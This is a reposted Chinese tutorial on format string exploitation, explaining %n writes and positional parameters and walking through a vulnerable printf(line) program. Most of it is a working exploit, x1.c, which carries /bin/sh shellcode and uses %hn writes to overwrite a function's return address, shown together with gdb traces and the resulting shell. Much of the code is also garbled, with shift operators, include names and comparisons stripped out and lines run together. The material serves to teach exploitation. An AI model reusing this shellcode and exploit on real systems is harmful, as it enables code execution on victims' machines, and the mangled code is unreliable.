分享
 
 
 

FormatString漏洞介绍/总结(二)

王朝other·作者佚名  2008-05-19
窄屏简体版  字體: |||超大  

2. format stirng 漏洞利用

通过前面讨论,我们很容易知道,如果要让我们的shellcode运行起来,必须要知道三个数据:

1. 我们要写的地址,want_write_addr

2. Printf参数后面多少位是我们自定义的数据地址,pad,也就是stack popup的值

3. 我们的shellcode地址.

为什么我们要知道pad的数值呢?printf提供了一个$参数给我们,允许用户不用一个个显示参数,可以自定义显示数据,比如:

[bkbll@mobile fmtxp_lib]$ cat 7.c

main()

{

int i=1,j=2;

printf("j=%2$d i=%1$d\n",i,j);

}

[bkbll@mobile fmtxp_lib]$ cc 7.c ; ./a.out

j=2 i=1

[bkbll@mobile fmtxp_lib]$

有了这个$参数,我们也可以很容易控制写入到某个地址的数据地址:

比如,我们想写入900到变量n里面,我们可以这样写:

[bkbll@mobile fmtxp_lib]$ cat 8.c

main()

{

int n=0;

printf("before printf,n=%d\n",n);

printf("%800d%n\n",1,&n);

printf("after printf,n=%d\n",n);

}

[bkbll@mobile fmtxp_lib]$ cc 8.c ; ./a.out

before printf,n=0

1

after printf,n=800

[bkbll@mobile fmtxp_lib]$

前面介绍了大概的应用,我们来实战一下,就利用scut提供的一个程序做我们的例子吧:

[bkbll@mobile fmtxp_lib]$ cat vuln.c

#include

#include

#include

void foo (char *line);

int

main (int argc, char *argv[])

{

FILE * f;

char line[1024];

f = fopen (argv[1], "rb");

if (f == NULL) {

fprintf (stderr, "usage: %s file\n", argv[0]);

exit (EXIT_FAILURE);

}

fgets (line, sizeof (line) - 1, f);

line[1023] = '\x00';

foo (line);

exit (EXIT_SUCCESS);

}

void

foo (char *line)

{

printf (line);

}

程序从文件里面读取一行(

一般利用format string的方法有以下几种:

1. 覆盖GOT

2. 利用DTORS

3. 利用 C library hooks

4. 利用 atexit 结构(静态编译版本才行)

5. 覆盖函数返回地址

等。这里我想介绍覆盖GOT, 覆盖DTORS地址,覆盖函数返回地址三种方法, 其他方法类似。

关于GOT表和DTORS段的含义,请参考相关资料。

3. 利用覆盖函数返回地址等方法:

首先我们要知道want_write_addr以及pad和shellcode addr值,

我们先跟踪一下vuln程序:

[bkbll@mobile fmtxp_lib]$ echo "AAAA" 6

[bkbll@mobile fmtxp_lib]$ gdb -q vuln

(gdb) x/i foo

0x80484c4 : push %ebp

(gdb) b *0x80484c4

Breakpoint 1 at 0x80484c4: file vuln.c, line 30.

(gdb) r 6

Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 6

Breakpoint 1, foo (line=0x2 ) at vuln.c:3030 {(gdb) x/wx $esp0xbffff67c: 0x080484b6从这里可以看出,foo函数的返回地址在0xbffff67c,也就是我们所要的want_write_addr地址。(gdb) x/i printf0x42052390: push %ebp(gdb) b *0x42052390Breakpoint 2 at 0x42052390(gdb) cContinuing.Breakpoint 2, 0x42052390 in printf () from /lib/i686/libc.so.6(gdb) x/16wx $esp0xbffff65c: 0x080484d5 0xbffff690 0x4000a190 0x42062a9d0xbffff66c: 0x4212a2d0 0x40012020 0xbffffaf4 0xbffffaa80xbffff67c: 0x080484b6 0xbffff690 0x000003ff 0x080496600xbffff68c: 0x40006575 0x41414141 0x0001000a 0x40008b1e这里我们可以得到pad的值,我们的printf参数在0xbffff690:(gdb) x/s 0xbffff6900xbffff690: "AAAA\n"而我们真正的参数出现在0xbffff68c+4处,我们计算一下中间需要跳过多少地址:0xbffff68c+4-0xbffff65c-8=0x2c0x2c/4=11,也就是说中间需要经过11个指针类型数据才能到达,所以:pad=11+1=12(第12个指针类型数据)从前面又得到我们的shellcode地址肯定是在0xbffff690+x处,和缓冲区溢出类似,我们可以填充适当的NOP指令,只要X不太多,就可以将指令跳转到我们的NOP上,我们的shellcode就可以执行了。我们看利用程序:[bkbll@mobile fmtxp_lib]$ cat x1.c/* overwrite return addr by our shellcode address* coded by bkbll(bkbll@cnhonker.net)*/#include#include#include#define want_write_addr 0xbffff67c /* foo函数返回地址所在的地址 */#define pad 12 /* 要经过多少个的指针类型地址数据 */#define straddr 0xbffff690 /* 用户自定义的起始数据地址 */char shellcode[]="\xeb\x1d\x5e\x29\xc0\x88\x46\x07\x89\x46\x0c\x89""\x76\x08\xb0\x0b\x87\xf3\x8d\x4b\x08\x8d\x53\x0c""\xcd\x80\x29\xc0\x40\xcd\x80\xe8\xde\xff\xff\xff""/bin/sh";main(){int high_ret,low_ret;char buffer[1024];int j=0;int shell_addr_pad=0x50;int rea_high_ret,rea_low_ret;int print_acc;memset(buffer,0x90,1024);buffer[1023]=0;/* 由于我们无法一下将shellcode地址写进want_write_addr,所以我们只要分两部分,前四位和后四位来写入,第一次写少点的数,第二次写两者之差就刚好满足要求了 */high_ret=((straddr+shell_addr_pad)16) & 0xffff;low_ret=(straddr+shell_addr_pad) & 0xffff;if(high_ret == low_ret) exit(0); /* 不可能作到长度不变 */rea_high_ret=high_ret;rea_low_ret=low_ret;if(high_retprint_acc=rea_high_ret - rea_low_ret;fprintf(stderr,"use shell addr:%p\n",straddr+shell_addr_pad);/* 0xbffff67c */buffer[0]=want_write_addr & 0xff;buffer[1]=(want_write_addr8 ) & 0xff;buffer[2]=(want_write_addr16 ) & 0xff;buffer[3]=(want_write_addr24 ) & 0xff;/*0xbffff67c+2, 这样配合上面的数据就可以刚好写出一个4字节的指针出来 */buffer[4]=((want_write_addr+2)) & 0xff;buffer[5]=((want_write_addr+2)8) & 0xff;buffer[6]=((want_write_addr+2)16) & 0xff;buffer[7]=((want_write_addr+2)24) & 0xff;j=8;j+=sprintf(buffer+j,"%%%dp%%%d$hn%%%dp%%%d$hn",rea_low_ret-j,pad+1,print_acc,pad); /* 比较小的数值是0x0000bffff,比较大的数值是0x0000f690+0x50,但是 bfff恰好是地址的高四位,所以要写到第13个指针,也就是0xbffff67c+2的地方,而f690+50就写到第12个指针处,也就是0xbffff67c处,用%hn表示写一个2字节的数据,short型的,而不是缺省的int型 */buffer[j]=0x90;/* 补上一个NOP */sprintf(buffer+(1022-strlen(shellcode)-1),"%s\x00",shellcode);if(j=1024) {printf("please realloc buffer to %d\n",j+1);exit(0);}printf("%s\n",buffer);}好,我们来试一下这个exploit:[bkbll@mobile fmtxp_lib]$ ./x11use shell addr:0xbffff6e0[bkbll@mobile fmtxp_lib]$ ./vuln 1………………………………….(空格和不需要的信息)?)览?柁??bin/shsh-2.05b$iduid=500(bkbll) gid=500(bkbll) groups=500(bkbll)sh-2.05b$成功了。我们跟踪一下程序,看是否真的符合要求。[bkbll@mobile fmtxp_lib]$ gdb -q vuln(gdb) x/i foo0x80484c4: push %ebp(gdb) b *0x80484c4Breakpoint 1 at 0x80484c4: file vuln.c, line 30.(gdb) r 1Starting program: /home/bkbll/format/examples/fmtxp_lib/vuln 1Breakpoint 1, foo (line=0x2) at vuln.c:3030 {(gdb) x/wx $esp0xbffff67c: 0x080484b6 /* 返回地址所在地址 */(gdb) disass fooDump of assembler code for function foo:0x80484c4: push %ebp0x80484c5: mov %esp,%ebp0x80484c7: sub $0x8,%esp0x80484ca: sub $0xc,%esp0x80484cd: pushl 0x8(%ebp)0x80484d0: call 0x80483500x80484d5: add $0x10,%esp0x80484d8: leave0x80484d9: retEnd of assembler dump.(gdb) b *0x80484d5Breakpoint 2 at 0x80484d5: file vuln.c, line 31.(gdb)c?)览?柁

 
 
 
免责声明:本文为网络用户发布,其观点仅代表作者个人观点,与本站无关,本站仅提供信息存储服务。文中陈述内容未经本站证实,其真实性、完整性、及时性本站不作任何保证或承诺,请读者仅作参考,并请自行核实相关内容。
2023年上半年GDP全球前十五强
 百态   2023-10-24
美众议院议长启动对拜登的弹劾调查
 百态   2023-09-13
上海、济南、武汉等多地出现不明坠落物
 探索   2023-09-06
印度或要将国名改为“巴拉特”
 百态   2023-09-06
男子为女友送行,买票不登机被捕
 百态   2023-08-20
手机地震预警功能怎么开?
 干货   2023-08-06
女子4年卖2套房花700多万做美容:不但没变美脸,面部还出现变形
 百态   2023-08-04
住户一楼被水淹 还冲来8头猪
 百态   2023-07-31
女子体内爬出大量瓜子状活虫
 百态   2023-07-25
地球连续35年收到神秘规律性信号,网友:不要回答!
 探索   2023-07-21
全球镓价格本周大涨27%
 探索   2023-07-09
钱都流向了那些不缺钱的人,苦都留给了能吃苦的人
 探索   2023-07-02
倩女手游刀客魅者强控制(强混乱强眩晕强睡眠)和对应控制抗性的关系
 百态   2020-08-20
美国5月9日最新疫情:美国确诊人数突破131万
 百态   2020-05-09
荷兰政府宣布将集体辞职
 干货   2020-04-30
倩女幽魂手游师徒任务情义春秋猜成语答案逍遥观:鹏程万里
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案神机营:射石饮羽
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案昆仑山:拔刀相助
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案天工阁:鬼斧神工
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案丝路古道:单枪匹马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:与虎谋皮
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:李代桃僵
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案镇郊荒野:指鹿为马
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:小鸟依人
 干货   2019-11-12
倩女幽魂手游师徒任务情义春秋猜成语答案金陵:千金买邻
 干货   2019-11-12
 
推荐阅读
 
 
 
>>返回首頁<<
 
靜靜地坐在廢墟上,四周的荒凉一望無際,忽然覺得,淒涼也很美
© 2005- 王朝網路 版權所有